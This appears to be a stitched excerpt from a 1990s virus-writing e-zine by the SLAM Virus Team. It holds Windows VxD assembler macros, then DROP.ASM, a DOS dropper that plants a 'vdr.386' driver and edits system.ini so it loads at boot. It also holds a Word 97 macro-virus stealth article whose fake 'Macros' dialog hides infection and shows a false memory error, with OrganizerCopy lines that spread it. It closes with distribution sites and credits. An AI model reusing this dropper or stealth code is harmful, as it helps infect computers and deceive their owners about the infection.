; End_Control_Dispatch MyDevice
;
; (NOTE: Control_Dispatch can be used without Begin_Control_Dispatch, but
;	 then it is the programmer's responsibility for declaring a procedure
;	 in locked code (VxD_LOCKED_CODE_SEG) and returning Carry clear for
;	 any messages not processed.  The advantage in using
;	 Begin_Control_Dispatch is when a large # of messages are processed by
;	 a device, because a jump table is built which will usually require
;	 less code space then the compares and jumps that are done when
;	 Control_Dispatch is used alone.
;
;==============================================================================
EndDoc
Begin_Control_Dispatch MACRO VxD_Name
??_cd_low = 0FFFFFFFFh
??_cd_high = 0

BeginProc VxD_Name&_Control
ENDM

End_Control_Dispatch   MACRO VxD_Name
	LOCAL ignore, table

jmpproc MACRO num
	jmp	??_cd_&&num
ENDM

procoff MACRO num
IFDEF ??_cd_&&num
	dd	OFFSET32 ??_cd_&&num
ELSE
	dd	OFFSET32 ignore
ENDIF
ENDM

IF ??_cd_low EQ ??_cd_high
	cmp	eax, ??_cd_low
	jne	short ignore
	jmpproc %(??_cd_low)
ignore:
	clc
	ret
ELSE
	cmp	eax, ??_cd_high
	ja	short ignore
	sub	eax, ??_cd_low
	jb	short ignore
	jmp	cs:[eax*4+table]
ignore:
	clc
	ret

table label dword
	REPT   ??_cd_high - ??_cd_low + 1
	procoff %(??_cd_low)
	??_cd_low = ??_cd_low + 1
	ENDM
ENDIF

EndProc VxD_Name&_Control

PURGE jmpproc
PURGE procoff
PURGE Begin_Control_Dispatch
PURGE Control_Dispatch
PURGE End_Control_Dispatch
ENDM

BeginDoc
;******************************************************************************
; The Control_Dispatch macro is used for dispatching based on message
;	passed to the VxD_Control procedure. E.G.:
;
; Control_Dispatch  Device_Init, MyDeviceInitProcedure
;
; (NOTE: Control_Dispatch can be used with Begin_Control_Dispatch and
;	 End_Control_Dispatch to create a jump table for dispatching messages,
;	 when a large # of messages are processed.)
;
;==============================================================================
EndDoc
Control_Dispatch MACRO Service, Procedure
	LOCAL Skip_Interseg_Jump

IFE ?_lcode
IFDEF ??_cd_low
Equate_Service MACRO Serv
??_cd_&&Serv equ Procedure
ENDM

Equate_Service %(Service)

IF Service LT ??_cd_low
??_cd_low = Service
ENDIF
IF Service GT ??_cd_high
??_cd_high = Service
ENDIF

PURGE Equate_Service

ELSE
	cmp	eax, Service
	jne	SHORT Skip_Interseg_Jump
	jmp	Procedure
Skip_Interseg_Jump:
ENDIF
ELSE
%OUT ERROR:  The Control proc should be in LOCKED code.
%OUT	     Control_Dispatch can only be used inside of VxD_LOCKED_CODE_SEG.
.err
ENDIF
	ENDM


BeginDoc
;******************************************************************************
; The following are the definitions for the "type of I/O" parameter passed
;   to a I/O trap routine
Byte_Input	EQU	000h
Byte_Output	EQU	004h
Word_Input	EQU	008h
Word_Output	EQU	00Ch
Dword_Input	EQU	010h
Dword_Output	EQU	014h

Output		EQU	0000000000000100b
Output_Bit	EQU	2
Word_IO 	EQU	0000000000001000b
Word_IO_Bit	EQU	3
Dword_IO	EQU	0000000000010000b
Dword_IO_Bit	EQU	4

String_IO	EQU	00000020h
String_IO_Bit	EQU	5
Rep_IO		EQU	00000040h
Rep_IO_Bit	EQU	6
Addr_32_IO	EQU	00000080h
Addr_32_IO_Bit	EQU	7
Reverse_IO	EQU	00000100h
Reverse_IO_Bit	EQU	8

IO_Seg_Mask	EQU	0FFFF0000h		; Use these bits to get segment
IO_Seg_Shift	EQU	10h			; Must shift right this many

;==============================================================================
EndDoc

BeginDoc
;******************************************************************************
;
;   Dispatch_Byte_IO macro
;
; Dispatch_Byte_IO Byte_In_Proc, Byte_Out_Proc
;==============================================================================
EndDoc
Dispatch_Byte_IO MACRO In_Proc, Out_Proc
	LOCAL	Byte_IO
	cmp	ecx, Byte_Output
	jbe	SHORT Byte_IO
	VMMjmp	Simulate_IO
Byte_IO:
IFIDNI <In_Proc>, <Fall_Through>
	je	Out_Proc
ELSE
IFIDNI <Out_Proc>, <Fall_Through>
	jb	In_Proc
ELSE
	je	Out_Proc
	jmp	In_Proc
ENDIF
ENDIF
	ENDM

BeginDoc
;******************************************************************************
;
;   Emulate_Non_Byte_IO
;
; Emulate_Non_Byte_IO
;
;==============================================================================
EndDoc
Emulate_Non_Byte_IO MACRO
	LOCAL	Byte_IO
	cmp	ecx, Byte_Output
	jbe	SHORT Byte_IO
	VMMjmp	Simulate_IO
Byte_IO:
	ENDM


VxD_IOT_Hdr STRUC
VxD_IO_Ports	dw  ?
VxD_IOT_Hdr ENDS

VxD_IO_Struc STRUC
VxD_IO_Port	dw  ?
VxD_IO_Proc	dd  ?
VxD_IO_Struc ENDS


BeginDoc
;******************************************************************************
;
; Begin_VxD_IO_Table
;
;   Example:
; Begin_VxD_IO_Table MyTableName
;
;==============================================================================
EndDoc
.ERRNZ SIZE VxD_IOT_Hdr - 2	; Begin_VxD_IO_Table creates a 1 word count hdr
Begin_VxD_IO_Table MACRO Table_Name
PUBLIC Table_Name
Table_Name LABEL WORD
IF2
IFNDEF Table_Name&_Entries
%OUT ERROR:  No End_VxD_IO_Table for &Table_Name
.ERR
ENDIF
	dw	Table_Name&_Entries
ELSE
	dw	?
ENDIF

	ENDM

.ERRNZ SIZE VxD_IO_Struc - 6	; VxD_IO creates 6 byte I/O port entries
VxD_IO MACRO Port, Proc_Name
	dw	Port
	dd	OFFSET32 Proc_Name
	ENDM

End_VxD_IO_Table MACRO Table_Name

IFNDEF Table_Name
%OUT ERROR:  No Begin_VxD_IO_Table for &Table_Name
.ERR
ELSE
	Table_Name&_Entries EQU (($-Table_Name)-2) / (SIZE VxD_IO_Struc)
IF Table_Name&_Entries LE 0
%OUT ERROR:  Invalid number of port traps in &Table_Name
.ERR
ENDIF
ENDIF
	    ENDM


;******************************************************************************
;******************************************************************************

Push_Client_State MACRO
	sub	esp, SIZE Client_Reg_Struc
	push	edi
	lea	edi, [esp+4]
	VMMcall Save_Client_State
	pop	edi
	ENDM

Pop_Client_State MACRO
	push	esi
	lea	esi, [esp+4]
	VMMcall Restore_Client_State
	pop	esi
	add	esp, SIZE Client_Reg_Struc
	ENDM

BeginDoc
;******************************************************************************
;
;   CallRet -- Call procedure and return.  For debugging purposes only.
;	       If compiled with debugging then this will generate a call
;	       followed by a return.  If non-debugging version then the
;	       specified label will be jumped to.
;
;   PARAMETERS:
;	Label_Name = Procedure to be called
;
;   EXIT:
;	Return from current procedure
;
;------------------------------------------------------------------------------
EndDoc

CallRet MACRO P1, P2
IFDEF DEBUG
IFIDNI <P1>, <SHORT>
	call	P2
ELSE
	call	P1
ENDIF
	ret
ELSE
	jmp	P1 P2
ENDIF
	ENDM


; ebp offsets to segments pushed by PMode_Fault in Fault_Dispatch
PClient_DS equ WORD PTR -4
PClient_ES equ WORD PTR -8
PClient_FS equ WORD PTR -12
PClient_GS equ WORD PTR -16


Client_Ptr_Flat MACRO Reg_32, Cli_Seg, Cli_Off

IFDIFI <Reg_32>, <EAX>
	push	eax
ENDIF
IFB <Cli_Off>
	mov	ax, (Client_&Cli_Seg * 100h) + 0FFh
ELSE
	mov	ax, (Client_&Cli_Seg * 100h) + Client_&Cli_Off
ENDIF
	VMMcall Map_Flat

IFDIFI <Reg_32>, <EAX>
	mov	Reg_32, eax
	pop	eax
ENDIF

	ENDM

;------------------------------------------------------------------------------

VxDint	MACRO	Int_Number
	push	DWORD PTR Int_Number
	VMMcall Exec_VxD_Int
	ENDM


ENDIF	; Not_VxD


BeginDoc
;******************************************************************************
;
;   The following equates are for flags sent to the real mode
;   initialization portion of a device driver:
;
Duplicate_Device_ID	    equ 0000000000000001b   ; duplicate device ID already
Duplicate_Device_ID_Bit     equ 	       0    ; loaded
Duplicate_From_INT2F	    equ 0000000000000010b   ; duplicate device ID already
Duplicate_From_INT2F_Bit    equ 	      1     ; loaded as part of INT 2F
						    ; device list
Loading_From_INT2F	    equ 0000000000000100b   ; this device was specified
Loading_From_INT2F_Bit	    equ 	     2	    ; in the INT 2F device list

EndDoc

BeginDoc
;******************************************************************************
;
;   The following equates are used to indicate the result of the real mode
;   initialization portion of a device driver:
;

Device_Load_Ok	    equ 0		; protected mode portion of device
					; should be loaded
Abort_Device_Load   equ 1		; don't load any protected mode portion
					; of this device, but continue loading
					; the rest of the devices
Abort_Win386_Load   equ 2		; fatal-error: abort the load of Win386

No_Fail_Message     equ 8000h		; The high bit is set in the return
No_Fail_Message_Bit equ 15		; code, if the loader should not print
					; any message for results
					; Abort_Device_Load or Abort_Win386_Load
;==============================================================================
EndDoc


;==============================================================================

; CR0 bit assignments
PE_Mask 	EQU	0001h	; 1 = Protected Mode
PE_Bit		EQU	0
MP_Mask 	EQU	0002h	; 1 = Monitor Coprocessor
MP_Bit		EQU	1
EM_Mask 	EQU	0004h	; 1 = Emulate Math Coprocessor
EM_Bit		EQU	2
TS_Mask 	EQU	0008h	; 1 = Task Switch occured
TS_Bit		EQU	3
ET_Mask 	EQU	0010h	; 1 = 387 present, 0 = 287 present
ET_Bit		EQU	4
PG_Mask 	EQU 80000000h	; 1 = paging enabled, 0 = paging disabled
PG_Bit		EQU	31


; EFLAGs bit assignments
CF_Mask 	EQU	000000000000000001b	; Carry flag
CF_Bit		EQU	0
PF_Mask 	EQU	000000000000000100b	; Parity flag
PF_Bit		EQU	2
AF_Mask 	EQU	000000000000010000b	; Aux flag
AF_Bit		EQU	4
ZF_Mask 	EQU	000000000001000000b	; Zero flag
ZF_Bit		EQU	6
SF_Mask 	EQU	000000000010000000b	; Sign flag
SF_Bit		EQU	7
TF_Mask 	EQU	000000000100000000b	; Trace flag
TF_Bit		EQU	8
IF_Mask 	EQU	000000001000000000b	; Int flag
IF_Bit		EQU	9
DF_Mask 	EQU	000000010000000000b	; Direction flag
DB_Bit		EQU	10
OF_Mask 	EQU	000000100000000000b	; Overflow flag
OF_Bit		EQU	11
IOPL_Mask	EQU	000011000000000000b	; IOPL flags
IOPL_Bit0	EQU	12
IOPL_Bit1	EQU	13
NT_Mask 	EQU	000100000000000000b	; Nested task flag
NT_Bit		EQU	14
RF_Mask 	EQU	010000000000000000b	; Resume flag
RF_Bit		EQU	16
VM_Mask 	EQU	100000000000000000b	; Virtual Mode flag
VM_Bit		EQU	17


;------------------------------------------------------------------------------
;
;	  Temporary MASM macros (to be removed when supported by MASM)
;
;------------------------------------------------------------------------------

loopd EQU <loop>
loopde EQU <loope>
loopdne EQU <loopne>
loopdz EQU <loopz>
loopdnz EQU <loopnz>


;******************************************************************************
; PAGE TABLE EQUATES
;******************************************************************************


P_SIZE		equ	1000h		; page size

; ---------------------------------------------------
;
;	Page table entry bits
;
; ---------------------------------------------------

P_PRES		equ	01h		; page present bit
P_PRESBit	equ	0
P_WRITE 	equ	02h		; write access bit
P_WRITEBit	equ	1
P_USER		equ	04h		; access bit for User mode
P_USERBit	equ	2
P_ACC		equ	20h		; page accessed bit
P_ACCBit	equ	5
P_DIRTY 	equ	40h		; page dirty bit
P_DIRTYBit	equ	6

P_AVAIL 	equ	(P_PRES+P_WRITE+P_USER) ; avail to everyone & present

; ---------------------------------------------------
;
;  Page types - definition of the OS reserved bits in the page table
;		entry.
; ---------------------------------------------------

PG_TYPE 	equ	0E00h		; TYPE bits in PTE

; ---------------------------------------------------
;
;	 Page types for page allocator calls
;
; ---------------------------------------------------
PG_VM		equ	0
PG_SYS		equ	1
PG_RESERVED1	equ	2
PG_PRIVATE	equ	3
PG_RESERVED2	equ	4
PG_RELOCK	equ	5		; PRIVATE to MMGR
PG_INSTANCE	equ	6
PG_HOOKED	equ	7
PG_IGNORE	equ	0FFFFFFFFh


; ---------------------------------------------------
;
;	 Types for page table entries
;
; ---------------------------------------------------
PgT_VM		equ	PG_VM SHL 9
PgT_SYS 	equ	PG_SYS SHL 9
PgT_RESERVED1	equ	PG_RESERVED1 SHL 9
PgT_PRIVATE	equ	PG_PRIVATE SHL 9
PgT_RESERVED2	equ	PG_RESERVED2 SHL 9
PgT_RELOCK	equ	PG_RELOCK SHL 9
PgT_INSTANCE	equ	PG_INSTANCE SHL 9
PgT_HOOKED	equ	PG_HOOKED SHL 9



;******************************************************************************

; ---------------------------------------------------
;
; Definitions for the access byte in a descriptor
;
; ---------------------------------------------------


; Following fields are common to segment and control descriptors

D_PRES		equ	080h		; present in memory
D_NOTPRES	equ	0		; not present in memory

D_DPL0		equ	0		; Ring 0
D_DPL1		equ	020h		; Ring 1
D_DPL2		equ	040h		; Ring 2
D_DPL3		equ	060h		; Ring 3

D_SEG		equ	010h		; Segment descriptor
D_CTRL		equ	0		; Control descriptor

D_GRAN_BYTE	equ	000h		; Segment length is byte granular
D_GRAN_PAGE	equ	080h		; Segment length is page granular
D_DEF16 	equ	000h		; Default operation size is 16 bits
D_DEF32 	equ	040h		; Default operation size is 32 bits


; Following fields are specific to segment descriptors

D_CODE		equ	08h		; code
D_DATA		equ	0		; data

D_RX		equ	02h		; if code, readable
D_X		equ	0		; if code, exec only
D_W		equ	02h		; if data, writable
D_R		equ	0		; if data, read only

D_ACCESSED	equ	1		; segment accessed bit


; Useful combination access rights bytes

RW_Data_Type equ (D_PRES+D_SEG+D_DATA+D_W)
R_Data_Type  equ (D_PRES+D_SEG+D_DATA+D_R)
Code_Type    equ (D_PRES+D_SEG+D_CODE+D_RX)

D_PAGE32	equ	(D_GRAN_PAGE+D_DEF32)		  ; 32 bit Page granular

; Masks for selector fields

SELECTOR_MASK	equ	0fff8h		; selector index
SEL_LOW_MASK	equ	0f8h		; mask for low byte of sel indx
TABLE_MASK	equ	04h		; table bit
RPL_MASK	equ	03h		; privilige bits
RPL_CLR 	equ	not 03h 	; clear ring bits

����������������������������������������������������������������������������Ŀ
� File: DROP.ASM                                                             �
������������������������������������������������������������������������������
.286

.model tiny

.code
org 100h
start:
;get delta
call $ + 3
rumble:pop bp
sub bp,offset rumble

;get the windoze path
mov ax,3d02h    ;c:\windows\system.ini?
lea dx,[bp + offset sysini1]
int 21h
jnc win

mov ax,3d02h    ;c:\windows.000\system.ini?
lea dx,[bp + offset sysini2]
int 21h
jnc win000

mov ax,3d02h    ;c:\win95\system.ini?
lea dx,[bp + offset sysini3]
int 21h
jnc win95

e:jmp exit

win:
xchg ax,bx
push bx
mov ax,3d00h    ;check if vdr.386 is already installed
lea dx,[bp + offset dropname1]  ;c:\windows\system\vdr.386
int 21h
jc inst
jmp e

win000:
xchg ax,bx
push bx
mov ax,3d00h    ;check if vdr.386 is already installed
lea dx,[bp + offset dropname2]  ;c:\windows.000\system\vdr.386
int 21h
jc inst
jmp e

win95:
xchg ax,bx
push bx
mov ax,3d00h    ;check if vdr.386 is already installed
lea dx,[bp + offset dropname3]  ;c:\win95\system\vdr.386
int 21h
jnc e

inst:
mov ah,3ch  ;nope:install vdr.386
xor cx,cx
int 21h
xchg ax,bx

mov ah,40h  
mov cx,5150
lea dx,[bp + offset drop]
int 21h

mov ah,3eh
int 21h

;drop 'device=vdr.386' into system.ini
pop bx

mov ax,4202h    ;get file size
xor cx,cx
cwd
int 21h
mov [bp + fsize],ax

mov ax,4200h
xor cx,cx
cwd
int 21h

rfile:
mov ah,3fh  ;smaller than repne scasb
mov cx,1
lea dx,[bp + offset rbuf]
int 21h
or ax,ax
je cfile
cmp [bp + rbuf],'n'   ;[386E'n'h]
jne rfile

mov ah,3fh
mov cx,2
lea dx,[bp + offset rbuf]
int 21h
cmp word ptr [bp + rbuf],']h'
jne rfile

mov ax,4201h    ;save current offset
xor cx,cx
cwd
int 21h
push ax

sub [bp + fsize],ax ;read the second part of the file
mov cx,[bp + fsize]
mov ah,3fh
lea dx,[bp + offset rbuf]
int 21h

mov ax,4200h    ;go back
xor cx,cx
pop dx
int 21h

mov ah,40h  ;insert ...
mov cx,16
lea dx,[bp + offset dropstring]
int 21h

mov ah,40h  ;write the second part of the file
mov cx,[bp + fsize]
lea dx,[bp + offset rbuf]
int 21h

cfile:
mov ah,3eh
int 21h

exit:
int 20h

fsize dw ?  ;filesize

sysini1 db 'c:\windows\system.ini',0
sysini2 db 'c:\windows.000\system.ini',0
sysini3 db 'c:\win95\system.ini',0

dropname1 db 'c:\windows\system\vdr.386',0
dropname2 db 'c:\windows.000\system\vdr.386',0 
dropname3 db 'c:\win95\system\vdr.386',0

dropstring db 0dh,0ah,'device=vdr.386'
rbuf db ?   ;readbuffer

drop db 0
ends
end start
                                _ _ _ _ _  
                              /  _ _  _   |
                            /  /       |  |
                          /  /         |  |
                        /  /           |  |
                      /  /             |  |
                    /  /_ _ _ _ _ _ _ _|_ |_ _ _
                   |_ _ _ _ _ _ _ _ _ _|_ |_ _ _|
                                       |  |
                                       |  |
                                       |  |
                                       |  |
                                       |  |
                                       |  |     __
                                      /____\   |__|

Stealth In Word 97

This is just a quick talking paper on the newly emerging capabilities of stealthing your 
Word 97 Macro Virii, I stumbled accross this technique when making "The Gambler". 
I hope this will stimulate new and better Stealth Techniques in Word 97.

So far in Word 97 the ability to stealth your Virii has not been easy to accomplish. 
It was either non-existent or when someone selected the ToolsMacro command, the 
Macro/programmer knowing that detection was eminent would perform some drastic action. 
In either case you were detected and cleaned off the template. If we could allow someone 
to look at the ToolsMacro window and reassure them that their system was not infected by 
showing a false screen. It might buy some time before they come back to the ToolsMacro 
screen and look really hard at it. This is what I believe to be the first attempt "Word97" 
to Duplicate the ToolsMacro screen, showing that there are no macros currently installed on 
the Normal.dot template. I created a UserForm and named it userform999 so that when being 
copied it would not run into another file with the same name. From the Visual Basic design 
screen Import  "Userform999.frm"  to your project.  To call the Userform999 from your macro 
use the following  command. 

Sub ToolsMacro()
On Error GoTo Error
userform999.Show
Error:
End Sub

To copy the Userform during infection use the same command that is used to copy the Modules, 
just replace the module name with Userform999

Application.OrganizerCopy Source:=NormalTemplate.FullName, 
Destination:=ActiveDocument.FullName, Name:="userform999", Object:=wdOrganizerObjectProjectItems

Application.OrganizerCopy Source:=ActiveDocument.FullName, 
Destination:=NormalTemplate.FullName, Name:="userform999", Object:=wdOrganizerObjectProjectItems

Userform999 :
~~~~~~~~~~~~~

VERSION 5.00
Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} userform999 
   Caption         =   "Macros"
   ClientHeight    =   5400
   ClientLeft      =   45
   ClientTop       =   330
   ClientWidth     =   7035
   OleObjectBlob   =   "userform999.frx":0000
   StartUpPosition =   1  'CenterOwner
End
Attribute VB_Name = "userform999"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub UserForm_Initialize()
    ComboBox1.AddItem "Normal.dot(global template)"
End Sub
Private Sub CommandButton2_Click()
Unload userform999
End Sub
Private Sub CommandButton5_Click()
MsgBox "Not Enough Memory To Complete The Request", 16, "Memory Allocation Error"
Unload userform999
End Sub
Private Sub UserForm_Click()
MsgBox "Not Enough Memory To Complete The Request", 16, "Memory Allocation Error"
Unload userform999
End Sub

Talon.
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
\                                                                           /
  \ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ /
                           \                 /
                             \   THE END   /
                               \ _ _ _ _ /

                          -- SLAM VIRUS TEAM --
 \     \
   \    \__
    /      \
  /        _\
 ( / / /  / \ \
 (_( (/ /_>   \) ___   _  ____  ___  ___  _  ___  _   _ ___ _  ___  _   _
     ( (        |    \ | (       |  |___) | |   ) |   |  |  | |   | |\  |
      \ \       |    | |   --    |  | \   | |---| |   |  |  | |   | |  \|
        \)      |___ / |  ____)  |  |   \ | |___) |___|  |  | |___| |   |

There are several pages on the Internet where you can find our magazine. They
are listed below. Only two BBS's have our magazine. But if you are a Sysop
from a kewl virus BBS or something, mail me. Then you'll also be listed here
in the next issue.

Get our mag from these Internet sites:
--------------------------------------------------------------------------------------------------
http://www.ilf.net/AURODREPH/virus.htm               | A page from Aurodreph
http://www.ilf.net/NJoker/                           | Nightmare Jokers Page
http://www.cyberstation.net/~cicatrix/               | Cicatrix' Page 
http://www.geocities.com/SiliconValley/Heights/2013/ | DarkSide's Page
http://www.geocities.com/SiliconValley/Heights/1789/ | DarkChasm's Page
http://www.geocities.com/SiliconValley/Heights/3334/ | Virtual Daemons Page
http://www.geocities.com/Area51/8542/                | Death Knight's Page
--------------------------------------------------------------------------------------------------

Or from these BBS's
--------------------------------------------------------------------------------------------------   
Name                 | SysOps    | Co-Sysops    | Nr.             |  Country
----                 | -----     | --------     | ---             |  -------
Arrested Development | Omega     |    -         | +31-70-3818095  |  Holland
PINKSIDE!            | rTr       | Death Knight | (86533) 5-5261  |  Russia
                     | xTr       | Wild Fox     |                 |
--------------------------------------------------------------------------------------------------

                        --- The SLAM Virus Team ---
 \     \
   \    \__
    /      \
  /        _\
 ( / / /  / \ \
 (_( (/ /_>   \)  _____ _   _   ___  _     _  _   _   ____
     ( (            |   |   |  /___\ |\    |  |  /   (
      \ \           |   |---|  |   | |  \  |  |/ \     -- 
        \)          |   |   |  |   | |    \|  |    \  ____)
                    

Member's for =>
~~~~~~~~~~~~~~~
Neophyte              - Editorials, Organizer
Nightmare Joker       - Editorials, Organizer
                        WordMacro Q, DAKOTA, Killok, Randomic and QuickSilver
                        Different kinds of Macro viruses article
                        Description of the WordMacro Virus Paper
                        PKZIP Trojan Horse 2.05s
                        Description of the ExcelMacro Virus Laroux
                        A full-steahlt Technique in Macro viruses article
                        Interview with Stefan Kurtzhals/FWIN
AuroDreph             - Windows 95 Magazine viewer
                        Description of the Word Macro Virus Slovak Dictator
Cyborg                - Dos Magazine viewer
Phardera              - ASM virus Jakarta
DarkChasm             - ASM virus Sped
                        DarkChasm's Ansi Bomb Maker article (source code)
                        Guide to Ansi Bomb's article
DarkSide              - WordMacro Lithium Virus
Death Knight          - Anti-heuristic Virus Simbioz
Hyperlock             - WordMacro Virus Hyper
Virtual Daemon        - SLAM Demo's!
                        Resident com-infector Suburbs 
                        The smallest virus - only 35 Bytes!
                        Jos Iliescu Virus Disassembling 
                        OverWritting Virus Tutorial 
                        BadSectors 1.2 Virus Disassembling 
                        Overwritting Virus Construction Toolkit
                        Dos Magazine viewer
Outsider's for =>
~~~~~~~~~~~~~~~~~
Gothmog/[DHA]         - Generic Anti-Heuristic Encryption Technique for TBAV 
                        TU.Suicidal.Dream.B / Glupak.847.A Disassembly
                        Quick and Easy Virus Host File Generator article              
                        Mainman.89 Disassembly & Bug-Fix
                        Trivial.64.C Disassembly 
                        Hellfire.1146 Anti-Heuristic Demonstration Virus       
                        Advanced Heuristic Techniques article 
                        The Airwalker.385 Virus 
                        A Funky New Anti-Heuristic Method article   
                        Anti-Tracing/Disassembling Techniques article 
                        WordMacro Envader Virus
                        The Jacov.757 Virus
Virtual Boy           - Special Demonstration Virus Polo
Talon                 - Stealth In Word 97 article
Reptile               - Anchele v1.0 Virus
                        WordMacro.N00DLE v2.0 Virus
                        *Rumble* v1.2 Virus

And now, in no specific order, the greetz. Don't be mad if we
forgot you. Just e-mail us and say it, although I doubt that you gonna
say it to us, you'll probably scream it :)

Internal Stalker          thanx for the ansi files.
Vecna                     When comes your first macro virus? :)
Neophyte                  Are you busted?
The Underground Prophet   We miss you, come back!
MoonShine                 finally believe me. 
TCP                       When comes the second 29A Issue?
Virtual Boy               Get a girl friend and come back to SLAM! ;)
faceless                  leave this planet! ;]
SSONICTH                  write a undetectable macro virus and you are in!
MindManiac                whats happen with your BBS?
2Pac                      disappeared in the cyberspace or busted?
Dark Night                When comes VBB 5?
God@rky                   Where is your site?
Crooper                   Finish your Word 97 virus!
hAlCyOn                   Is your Pascal Companion virus ready?
jhb                       When comes your Win95 virus?
B0z0                      Where is Xine2?
Cicatrix                  Giant VDAT 1.9! Continue it!
Methyl                    See yah on IRC 
Lord of Entropy           Thankz for the place on ILF!
liquiz                    Install Word. :)
GWAR                      thankz for your help with the SLAM logo

                     ----- SLAM VIRUS TEAM -----
 \     \
   \    \__
    /      \
  /        _\
 ( / / /  / \ \                          
 (_( (/ /_>   \) _     _ _   _  ___  ___          _   _  ___  _   _ ___ 
     ( (         |  |  | |   | /___\  |  )  ___   |\  | |      \ /   |
      \ \        |  |  | |---| |   |  |    (__    |  \| |--    / \   |
        \)       |__|__| |   | |   |  |    ___)   |   | |___  |   |  |

That's a good question. I still don't know it.

In this Issue we used two viewers. A Win95 and a Dos viewer.
If you think we shouldn't do that again in SLAM 3 or you think we
should better make it with Html and Java then send us a mail to

slam@presidency.com.

Another question is the kind of viruses in our next Issue.
Should we write more about ASM viruses or Macro Viruses and
would you like to read more interviews or more article about
infection and anti-heuristic techniques?
That's important questions that we must know.

So, please contact us and say what you want. 

                         -- SLAM VIRUS TEAM --